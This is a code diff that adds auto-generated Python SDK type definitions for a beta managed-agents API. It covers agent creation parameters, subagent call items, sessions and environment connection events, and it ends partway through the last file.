@@ -0,0 +1,55 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Iterable, Optional
+from typing_extensions import Literal, Required, TypedDict
+
+from .agent_text_param import AgentTextParam
+from .agent_reasoning_param import AgentReasoningParam
+from .multi_agent_config_param import MultiAgentConfigParam
+from .persisted_agent_tool_param import PersistedAgentToolParam
+
+__all__ = ["AgentCreateParams"]
+
+
+class AgentCreateParams(TypedDict, total=False):
+ model: Required[str]
+ """The model to use for the agent. The requested model name is preserved."""
+
+ instructions: Optional[str]
+ """Additional instructions appended to the agent's default base instructions.
+
+ Omit or set to null to add no custom instructions.
+ """
+
+ metadata: Optional[Dict[str, str]]
+ """
+ Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+ """
+
+ multi_agent: Optional[MultiAgentConfigParam]
+ """Explicit configuration for creating and coordinating subagents."""
+
+ name: Optional[str]
+ """A human-readable name for the agent. Omission or null leaves the agent unnamed."""
+
+ reasoning: Optional[AgentReasoningParam]
+ """Reasoning configuration for the agent."""
+
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
+ """The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+ """
+
+ text: Optional[AgentTextParam]
+ """Configuration for text generated by the agent."""
+
+ tools: Optional[Iterable[PersistedAgentToolParam]]
+ """Tools available to the agent. Defaults to an empty list."""
diff --git a/src/openai/types/beta/agent_create_subagent_call_item.py b/src/openai/types/beta/agent_create_subagent_call_item.py
new file mode 100644
index 0000000000..9f6097bbc4
--- /dev/null
+++ b/src/openai/types/beta/agent_create_subagent_call_item.py
@@ -0,0 +1,41 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_content import AgentContent
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentCreateSubagentCallItem"]
+
+
+class AgentCreateSubagentCallItem(BaseModel):
+ """A request to spawn a subagent."""
+
+ id: str
+ """The ID of the tool call item."""
+
+ agent_id: str
+ """The ID of the agent that requested the subagent."""
+
+ content: List[AgentContent]
+ """The task given to the spawned agent."""
+
+ model: Optional[str] = None
+ """The model requested for the spawned agent."""
+
+ reasoning_effort: Optional[str] = None
+ """The reasoning effort requested for the spawned agent."""
+
+ status: AgentFunctionCallStatus
+ """The status of the tool call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["create_subagent_call"]
+ """The item type. Always `create_subagent_call`.
+
+ - `create_subagent_call` - The current public item type.
+ """
diff --git a/src/openai/types/beta/agent_deleted.py b/src/openai/types/beta/agent_deleted.py
new file mode 100644
index 0000000000..0b4b03fac1
--- /dev/null
+++ b/src/openai/types/beta/agent_deleted.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentDeleted"]
+
+
+class AgentDeleted(BaseModel):
+ """A deleted reusable agent."""
+
+ id: str
+ """The ID of the deleted agent."""
+
+ deleted: bool
+ """Whether the agent was deleted. Always `true`."""
+
+ object: Literal["agent.deleted"]
+ """The object type. Always `agent.deleted`."""
diff --git a/src/openai/types/beta/agent_function_call_item.py b/src/openai/types/beta/agent_function_call_item.py
new file mode 100644
index 0000000000..9b813865d4
--- /dev/null
+++ b/src/openai/types/beta/agent_function_call_item.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentFunctionCallItem"]
+
+
+class AgentFunctionCallItem(BaseModel):
+ """A function call produced by the agent."""
+
+ id: str
+ """The ID of the function call item."""
+
+ arguments: object
+ """The arguments to pass to the function."""
+
+ call_id: str
+ """The ID used to submit the function result."""
+
+ name: str
+ """The name of the function to call."""
+
+ status: AgentFunctionCallStatus
+ """The status of the function call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["function_call"]
+ """The item type. Always `function_call`."""
diff --git a/src/openai/types/beta/agent_function_call_output.py b/src/openai/types/beta/agent_function_call_output.py
new file mode 100644
index 0000000000..c450daa30a
--- /dev/null
+++ b/src/openai/types/beta/agent_function_call_output.py
@@ -0,0 +1,10 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union
+from typing_extensions import TypeAlias
+
+from .input_content import InputContent
+
+__all__ = ["AgentFunctionCallOutput"]
+
+AgentFunctionCallOutput: TypeAlias = Union[str, List[InputContent]]
diff --git a/src/openai/types/beta/agent_function_call_output_param.py b/src/openai/types/beta/agent_function_call_output_param.py
new file mode 100644
index 0000000000..57e615608a
--- /dev/null
+++ b/src/openai/types/beta/agent_function_call_output_param.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .input_content_param import InputContentParam
+
+__all__ = ["AgentFunctionCallOutputParam", "InputContentParamInputText", "InputContentParamInputImage"]
+
+
+class InputContentParamInputText(TypedDict, total=False):
+ """Text input to the model."""
+
+ text: Required[str]
+ """The text sent to the model."""
+
+ type: Required[Literal["input_text"]]
+ """The type of the object. Always `input_text`."""
+
+
+class InputContentParamInputImage(TypedDict, total=False):
+ """Image input to the model."""
+
+ image_url: Required[str]
+ """The URL of the image sent to the model."""
+
+ type: Required[Literal["input_image"]]
+ """The type of the object. Always `input_image`."""
+
+
+AgentFunctionCallOutputParam: TypeAlias = Union[str, Iterable[InputContentParam]]
diff --git a/src/openai/types/beta/agent_function_call_status.py b/src/openai/types/beta/agent_function_call_status.py
new file mode 100644
index 0000000000..54fb74c514
--- /dev/null
+++ b/src/openai/types/beta/agent_function_call_status.py
@@ -0,0 +1,7 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["AgentFunctionCallStatus"]
+
+AgentFunctionCallStatus: TypeAlias = Literal["in_progress", "completed", "failed", "incomplete"]
diff --git a/src/openai/types/beta/agent_interrupt_subagent_call_item.py b/src/openai/types/beta/agent_interrupt_subagent_call_item.py
new file mode 100644
index 0000000000..e064d0e465
--- /dev/null
+++ b/src/openai/types/beta/agent_interrupt_subagent_call_item.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentInterruptSubagentCallItem"]
+
+
+class AgentInterruptSubagentCallItem(BaseModel):
+ """A request to interrupt a subagent's current turn.
+
+ The subagent remains available.
+ """
+
+ id: str
+ """The ID of the tool call item."""
+
+ recipient_agent_id: str
+ """The ID of the agent to interrupt."""
+
+ sender_agent_id: str
+ """The ID of the agent requesting the interrupt."""
+
+ status: AgentFunctionCallStatus
+ """The status of the tool call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["interrupt_subagent_call"]
+ """The item type. Always `interrupt_subagent_call`.
+
+ - `interrupt_subagent_call` - The current public item type.
+ """
diff --git a/src/openai/types/beta/agent_list_params.py b/src/openai/types/beta/agent_list_params.py
new file mode 100644
index 0000000000..a8c1294a17
--- /dev/null
+++ b/src/openai/types/beta/agent_list_params.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["AgentListParams"]
+
+
+class AgentListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: Optional[int]
+ """The maximum number of resources to return."""
+
+ order: Literal["asc", "desc"]
+ """The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
diff --git a/src/openai/types/beta/agent_mcp_call_item.py b/src/openai/types/beta/agent_mcp_call_item.py
new file mode 100644
index 0000000000..e2e0ac8ff7
--- /dev/null
+++ b/src/openai/types/beta/agent_mcp_call_item.py
@@ -0,0 +1,39 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentMcpCallItem"]
+
+
+class AgentMcpCallItem(BaseModel):
+ """A call to a tool on an MCP server."""
+
+ id: str
+ """The ID of the MCP call item."""
+
+ arguments: object
+ """The arguments passed to the MCP tool."""
+
+ error: object
+ """The error returned by the MCP tool, if any."""
+
+ name: str
+ """The name of the MCP tool."""
+
+ output: object
+ """The output returned by the MCP tool, if any."""
+
+ server_label: str
+ """The label of the MCP server."""
+
+ status: AgentFunctionCallStatus
+ """The status of the MCP tool call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["mcp_call"]
+ """The item type. Always `mcp_call`."""
diff --git a/src/openai/types/beta/agent_output_command_execution_output_delta_event.py b/src/openai/types/beta/agent_output_command_execution_output_delta_event.py
new file mode 100644
index 0000000000..34460d553e
--- /dev/null
+++ b/src/openai/types/beta/agent_output_command_execution_output_delta_event.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentOutputCommandExecutionOutputDeltaEvent"]
+
+
+class AgentOutputCommandExecutionOutputDeltaEvent(BaseModel):
+ """Emitted when command execution produces an output delta."""
+
+ delta: str
+ """The output text that was appended."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the command execution item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.output.command_execution_output.delta"]
+ """The type of the object. Always `agent.output.command_execution_output.delta`."""
diff --git a/src/openai/types/beta/agent_output_item.py b/src/openai/types/beta/agent_output_item.py
new file mode 100644
index 0000000000..cfa5d6aba1
--- /dev/null
+++ b/src/openai/types/beta/agent_output_item.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .agent_mcp_call_item import AgentMcpCallItem
+from .agent_reasoning_item import AgentReasoningItem
+from .agent_function_call_item import AgentFunctionCallItem
+from .agent_web_search_call_item import AgentWebSearchCallItem
+from .agent_command_execution_item import AgentCommandExecutionItem
+from .agent_close_subagent_call_item import AgentCloseSubagentCallItem
+from .agent_create_subagent_call_item import AgentCreateSubagentCallItem
+from .agent_resume_subagent_call_item import AgentResumeSubagentCallItem
+from .agent_session_assistant_message import AgentSessionAssistantMessage
+from .agent_interrupt_subagent_call_item import AgentInterruptSubagentCallItem
+from .agent_wait_for_subagents_call_item import AgentWaitForSubagentsCallItem
+from .agent_send_subagent_input_call_item import AgentSendSubagentInputCallItem
+
+__all__ = ["AgentOutputItem"]
+
+AgentOutputItem: TypeAlias = Annotated[
+ Union[
+ AgentSessionAssistantMessage,
+ AgentReasoningItem,
+ AgentFunctionCallItem,
+ AgentMcpCallItem,
+ AgentWebSearchCallItem,
+ AgentCommandExecutionItem,
+ AgentCreateSubagentCallItem,
+ AgentSendSubagentInputCallItem,
+ AgentResumeSubagentCallItem,
+ AgentWaitForSubagentsCallItem,
+ AgentInterruptSubagentCallItem,
+ AgentCloseSubagentCallItem,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agent_output_item_status.py b/src/openai/types/beta/agent_output_item_status.py
new file mode 100644
index 0000000000..5c25fc9987
--- /dev/null
+++ b/src/openai/types/beta/agent_output_item_status.py
@@ -0,0 +1,7 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["AgentOutputItemStatus"]
+
+AgentOutputItemStatus: TypeAlias = Literal["in_progress", "completed", "incomplete"]
diff --git a/src/openai/types/beta/agent_reasoning.py b/src/openai/types/beta/agent_reasoning.py
new file mode 100644
index 0000000000..4b255a6ef3
--- /dev/null
+++ b/src/openai/types/beta/agent_reasoning.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentReasoning"]
+
+
+class AgentReasoning(BaseModel):
+ """The reasoning configuration used by an agent."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]] = None
+ """The amount of reasoning effort used by an agent."""
+
+ summary: Optional[Literal["concise", "detailed", "auto"]] = None
+ """The reasoning summary format requested from an agent.
+
+ - `concise` - Returns a concise reasoning summary when supported.
+ - `detailed` - Returns a detailed reasoning summary when supported.
+ - `auto` - Automatically selects the most detailed summary supported by the
+ model.
+ """
diff --git a/src/openai/types/beta/agent_reasoning_item.py b/src/openai/types/beta/agent_reasoning_item.py
new file mode 100644
index 0000000000..09dd294846
--- /dev/null
+++ b/src/openai/types/beta/agent_reasoning_item.py
@@ -0,0 +1,29 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .summary_text import SummaryText
+from .agent_output_item_status import AgentOutputItemStatus
+
+__all__ = ["AgentReasoningItem"]
+
+
+class AgentReasoningItem(BaseModel):
+ """A reasoning item produced by the agent."""
+
+ id: str
+ """The ID of the reasoning item."""
+
+ status: Optional[AgentOutputItemStatus] = None
+ """The status of an agent output item."""
+
+ summary: List[SummaryText]
+ """The reasoning summaries produced by the agent."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["reasoning"]
+ """The item type. Always `reasoning`."""
diff --git a/src/openai/types/beta/agent_reasoning_param.py b/src/openai/types/beta/agent_reasoning_param.py
new file mode 100644
index 0000000000..6351ecbccf
--- /dev/null
+++ b/src/openai/types/beta/agent_reasoning_param.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["AgentReasoningParam"]
+
+
+class AgentReasoningParam(TypedDict, total=False):
+ """Reasoning configuration for the agent."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]]
+ """The amount of reasoning effort the model should use."""
+
+ summary: Optional[Literal["concise", "detailed", "auto"]]
+ """The reasoning summary format requested from the model.
+
+ - `concise` - Returns a concise reasoning summary when supported.
+ - `detailed` - Returns a detailed reasoning summary when supported.
+ - `auto` - Automatically selects the most detailed summary supported by the
+ model.
+ """
diff --git a/src/openai/types/beta/agent_resume_subagent_call_item.py b/src/openai/types/beta/agent_resume_subagent_call_item.py
new file mode 100644
index 0000000000..4623064654
--- /dev/null
+++ b/src/openai/types/beta/agent_resume_subagent_call_item.py
@@ -0,0 +1,33 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentResumeSubagentCallItem"]
+
+
+class AgentResumeSubagentCallItem(BaseModel):
+ """A request to resume a subagent."""
+
+ id: str
+ """The ID of the tool call item."""
+
+ recipient_agent_id: str
+ """The ID of the agent to resume."""
+
+ sender_agent_id: str
+ """The ID of the agent requesting the resume."""
+
+ status: AgentFunctionCallStatus
+ """The status of the tool call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["resume_subagent_call"]
+ """The item type. Always `resume_subagent_call`.
+
+ - `resume_subagent_call` - The current public item type.
+ """
diff --git a/src/openai/types/beta/agent_send_subagent_input_call_item.py b/src/openai/types/beta/agent_send_subagent_input_call_item.py
new file mode 100644
index 0000000000..f7ae58015b
--- /dev/null
+++ b/src/openai/types/beta/agent_send_subagent_input_call_item.py
@@ -0,0 +1,38 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_content import AgentContent
+from .agent_function_call_status import AgentFunctionCallStatus
+
+__all__ = ["AgentSendSubagentInputCallItem"]
+
+
+class AgentSendSubagentInputCallItem(BaseModel):
+ """A request to send input to another agent."""
+
+ id: str
+ """The ID of the tool call item."""
+
+ content: List[AgentContent]
+ """The input sent to the receiving agent."""
+
+ recipient_agent_id: str
+ """The ID of the agent receiving the input."""
+
+ sender_agent_id: str
+ """The ID of the agent sending the input."""
+
+ status: AgentFunctionCallStatus
+ """The status of the tool call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["send_subagent_input_call"]
+ """The item type. Always `send_subagent_input_call`.
+
+ - `send_subagent_input_call` - The current public item type.
+ """
diff --git a/src/openai/types/beta/agent_session.py b/src/openai/types/beta/agent_session.py
new file mode 100644
index 0000000000..43c00a1af6
--- /dev/null
+++ b/src/openai/types/beta/agent_session.py
@@ -0,0 +1,143 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Dict, List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .agent_text import AgentText
+from .agent_tool import AgentTool
+from .environment import Environment
+from .token_usage import TokenUsage
+from .agent_reasoning import AgentReasoning
+from .multi_agent_config import MultiAgentConfig
+
+__all__ = [
+ "AgentSession",
+ "Agent",
+ "RequiredAction",
+ "RequiredActionSessionRequiredActionResourceFunctionCall",
+ "RequiredActionSessionRequiredActionResourceEnvironmentConnection",
+]
+
+
+class Agent(BaseModel):
+ """The agent running in the session."""
+
+ id: str
+ """The ID of the agent."""
+
+ instructions: Optional[str] = None
+ """Custom instructions appended to the agent's default base instructions."""
+
+ model: str
+ """The model used by the agent."""
+
+ multi_agent: MultiAgentConfig
+ """Configuration for creating and coordinating subagents."""
+
+ name: Optional[str] = None
+ """
+ The reusable agent's name when the session was created, or null if no name was
+ saved. Later changes to the agent's name do not affect this value.
+ """
+
+ reasoning: AgentReasoning
+ """The agent's reasoning configuration."""
+
+ service_tier: Literal["auto", "default", "flex", "priority", "fast"]
+ """The effective service-tier policy for model requests. Defaults to `auto`."""
+
+ text: AgentText
+ """Configuration for text generated by the agent."""
+
+ tools: List[AgentTool]
+ """Tools available to the agent."""
+
+
+class RequiredActionSessionRequiredActionResourceFunctionCall(BaseModel):
+ """Run a function tool and submit its result."""
+
+ arguments: object
+ """The arguments supplied by the model."""
+
+ call_id: str
+ """The ID to include when submitting the function result."""
+
+ name: str
+ """The function name."""
+
+ turn_id: str
+ """The ID of the turn that requested the function call."""
+
+ type: Literal["function_call"]
+ """The type of the object. Always `function_call`."""
+
+
+class RequiredActionSessionRequiredActionResourceEnvironmentConnection(BaseModel):
+ """Reconnect a session environment."""
+
+ environment_id: str
+ """The ID of the environment to reconnect."""
+
+ type: Literal["environment_connection"]
+ """The type of the object. Always `environment_connection`."""
+
+
+RequiredAction: TypeAlias = Annotated[
+ Union[
+ RequiredActionSessionRequiredActionResourceFunctionCall,
+ RequiredActionSessionRequiredActionResourceEnvironmentConnection,
+ ],
+ PropertyInfo(discriminator="type"),
+]
+
+
+class AgentSession(BaseModel):
+ """A Managed Agents session."""
+
+ id: str
+ """The ID of the session."""
+
+ agent: Agent
+ """The agent running in the session."""
+
+ created_at: int
+ """The Unix timestamp, in seconds, when the session was created."""
+
+ environment: Environment
+ """The execution environment for the session."""
+
+ error: Optional[str] = None
+ """The error that caused the session to fail, if any."""
+
+ last_active_at: int
+ """The Unix timestamp, in seconds, when the session was last active."""
+
+ metadata: Dict[str, str]
+ """Custom string key-value pairs attached to the session."""
+
+ object: Literal["agent.session"]
+ """The object type. Always `agent.session`."""
+
+ required_actions: List[RequiredAction]
+ """Actions that must be completed before the session can continue."""
+
+ status: Literal["idle", "in_progress", "requires_action", "failed"]
+ """The current status of the session.
+
+ - `idle` - The session has no turn in progress and is ready for input. A hosted
+ environment may still be provisioning.
+ - `in_progress` - The session is processing a turn.
+ - `requires_action` - The session is waiting for one or more required actions.
+ - `failed` - The session failed.
+ """
+
+ usage: Optional[TokenUsage] = None
+ """Recorded token usage for a session or turn.
+
+ Usage is best effort and may change.
+ """
+
+ vault_ids: List[str]
+ """The IDs of vaults made available to the session."""
diff --git a/src/openai/types/beta/agent_session_assistant_message.py b/src/openai/types/beta/agent_session_assistant_message.py
new file mode 100644
index 0000000000..9e96824efb
--- /dev/null
+++ b/src/openai/types/beta/agent_session_assistant_message.py
@@ -0,0 +1,39 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .output_text import OutputText
+from .agent_output_item_status import AgentOutputItemStatus
+
+__all__ = ["AgentSessionAssistantMessage"]
+
+
+class AgentSessionAssistantMessage(BaseModel):
+ """An assistant message produced by the agent."""
+
+ id: str
+ """The ID of the message."""
+
+ content: List[OutputText]
+ """The content of the message."""
+
+ phase: Optional[Literal["commentary", "final_answer"]] = None
+ """The phase of an assistant message.
+
+ - `commentary` - Commentary produced while the agent works.
+ - `final_answer` - The agent's final answer.
+ """
+
+ role: Literal["assistant"]
+ """The role of the message author. Always `assistant`."""
+
+ status: AgentOutputItemStatus
+ """The status of the message."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["message"]
+ """The item type. Always `message`."""
diff --git a/src/openai/types/beta/agent_session_created_event.py b/src/openai/types/beta/agent_session_created_event.py
new file mode 100644
index 0000000000..9d1cd62352
--- /dev/null
+++ b/src/openai/types/beta/agent_session_created_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session import AgentSession
+
+__all__ = ["AgentSessionCreatedEvent"]
+
+
+class AgentSessionCreatedEvent(BaseModel):
+ """Emitted when a session is created."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session: AgentSession
+ """The session that was created."""
+
+ type: Literal["agent.session.created"]
+ """The type of the object. Always `agent.session.created`."""
diff --git a/src/openai/types/beta/agent_session_deleted.py b/src/openai/types/beta/agent_session_deleted.py
new file mode 100644
index 0000000000..a0ad687dbb
--- /dev/null
+++ b/src/openai/types/beta/agent_session_deleted.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionDeleted"]
+
+
+class AgentSessionDeleted(BaseModel):
+ """A Managed Agents session removed from the public API.
+
+ Physical cleanup may continue asynchronously.
+ """
+
+ id: str
+ """The ID of the deleted session."""
+
+ deleted: bool
+ """Whether the session has been removed from the public API.
+
+ Always `true`. Physical cleanup may still be in progress.
+ """
+
+ object: Literal["agent.session.deleted"]
+ """The object type. Always `agent.session.deleted`."""
diff --git a/src/openai/types/beta/agent_session_environment_connected_event.py b/src/openai/types/beta/agent_session_environment_connected_event.py
new file mode 100644
index 0000000000..4257f16e12
--- /dev/null
+++ b/src/openai/types/beta/agent_session_environment_connected_event.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session_environment_state import AgentSessionEnvironmentState
+
+__all__ = ["AgentSessionEnvironmentConnectedEvent"]
+
+
+class AgentSessionEnvironmentConnectedEvent(BaseModel):
+ """Emitted when a session environment connects."""
+
+ environment: AgentSessionEnvironmentState
+ """The current environment state."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.environment.connected"]
+ """The type of the object. Always `agent.session.environment.connected`."""
diff --git a/src/openai/types/beta/agent_session_environment_disconnected_event.py b/src/openai/types/beta/agent_session_environment_disconnected_event.py
new file mode 100644
index 0000000000..1921e8d9ff
--- /dev/null
+++ b/src/openai/types/beta/agent_session_environment_disconnected_event.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session_environment_state import AgentSessionEnvironmentState
+
+__all__ = ["AgentSessionEnvironmentDisconnectedEvent"]
+
+
+class AgentSessionEnvironmentDisconnectedEvent(BaseModel):
+ """Emitted when a session environment disconnects."""
+
+ environment: AgentSessionEnvironmentState
+ """The current environment state."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.environment.disconnected"]
+ """The type of the object. Always `agent.session.environment.disconnected`."""
diff --git a/src/openai/types/beta/agent_session_environment_failed_event.py b/src/openai/types/beta/agent_session_environment_failed_event.py
new file mode 100644
index 0000000000..d306e3686c
--- /dev/null
+++ b/src/openai/types/beta/agent_session_environment_failed_event.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session_environment_state import AgentSessionEnvironmentState
+
+__all__ = ["AgentSessionEnvironmentFailedEvent"]
+
+
+class AgentSessionEnvironmentFailedEvent(BaseModel):
+ """Emitted when a session environment fails."""
+
+ environment: AgentSessionEnvironmentState
+ """The current environment state."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.environment.failed"]
+ """The type of the object. Always `agent.session.environment.failed`."""
diff --git a/src/openai/types/beta/agent_session_environment_pending_event.py b/src/openai/types/beta/agent_session_environment_pending_event.py
new file mode 100644
index 0000000000..d229010705
--- /dev/null
+++ b/src/openai/types/beta/agent_session_environment_pending_event.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session_environment_state import AgentSessionEnvironmentState
+
+__all__ = ["AgentSessionEnvironmentPendingEvent"]
+
+
+class AgentSessionEnvironmentPendingEvent(BaseModel):
+ """Emitted while a session environment is being prepared."""
+
+ environment: AgentSessionEnvironmentState
+ """The current environment state."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.environment.pending"]
+ """The type of the object. Always `agent.session.environment.pending`."""
diff --git a/src/openai/types/beta/agent_session_environment_ready_event.py b/src/openai/types/beta/agent_session_environment_ready_event.py
new file mode 100644
index 0000000000..2b4043255e
--- /dev/null
+++ b/src/openai/types/beta/agent_session_environment_ready_event.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session_environment_state import AgentSessionEnvironmentState
+
+__all__ = ["AgentSessionEnvironmentReadyEvent"]
+
+
+class AgentSessionEnvironmentReadyEvent(BaseModel):
+ """Emitted when a hosted session environment is ready to connect."""
+
+ environment: AgentSessionEnvironmentState
+ """The current environment state."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.environment.ready"]
+ """The type of the object. Always `agent.session.environment.ready`."""
diff --git a/src/openai/types/beta/agent_session_environment_state.py b/src/openai/types/beta/agent_session_environment_state.py
new file mode 100644
index 0000000000..5a42e2ac56
--- /dev/null
+++ b/src/openai/types/beta/agent_session_environment_state.py
@@ -0,0 +1,44 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionEnvironmentState", "Error"]
+
+
+class Error(BaseModel):
+ """An error reported while preparing a session environment."""
+
+ code: str
+ """A machine-readable error code."""
+
+ message: str
+ """A human-readable error message."""
+
+ type: str
+ """The error type."""
+
+
+class AgentSessionEnvironmentState(BaseModel):
+ """The current state of a session environment."""
+
+ id: str
+ """The public ID of the environment."""
+
+ error: Optional[Error] = None
+ """An error reported while preparing a session environment."""
+
+ status: Literal["pending", "ready", "connected", "disconnected", "failed"]
+ """The environment's connection status.
+
+ - `pending` - The environment is being prepared.
+ - `ready` - The environment is ready to connect.
